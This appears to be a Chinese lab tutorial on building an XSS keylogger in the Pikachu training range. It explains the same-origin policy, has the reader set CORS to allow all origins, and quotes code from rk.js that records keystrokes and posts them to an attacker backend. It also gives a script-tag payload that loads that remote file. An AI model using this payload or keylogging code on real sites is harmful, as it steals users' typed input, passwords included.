XSS获取键盘记录
条件比较苛刻
除非对方网站管理员配置了跨域访问否则无法实现
理论
什么是跨域
http:// www. oldboyedu.com :80 / news/index.php
协议 :// 子域名 . 主域名 : 端口 / 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
实验
同源策略修改
D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
如果要实现两个非同源资源互通可以Access-Control-Allow-Origin :*.xxxx.com
这个文件有一个重要函数,onkeypress,可以获取用户输入的任何东西进行解码,再通过Ajax的post提交信息到攻击者后台
rk.js关键代码解读
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串
xl+=realkey; //赋值给x1
show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容
输入设置好的恶意JS代码:
<script src="http://192.168.0.101/pikachu/pkxss/rkeypress/rk.js"></script>然后在键盘上随意输入,就可以到xss平台上去查看键盘输入的结果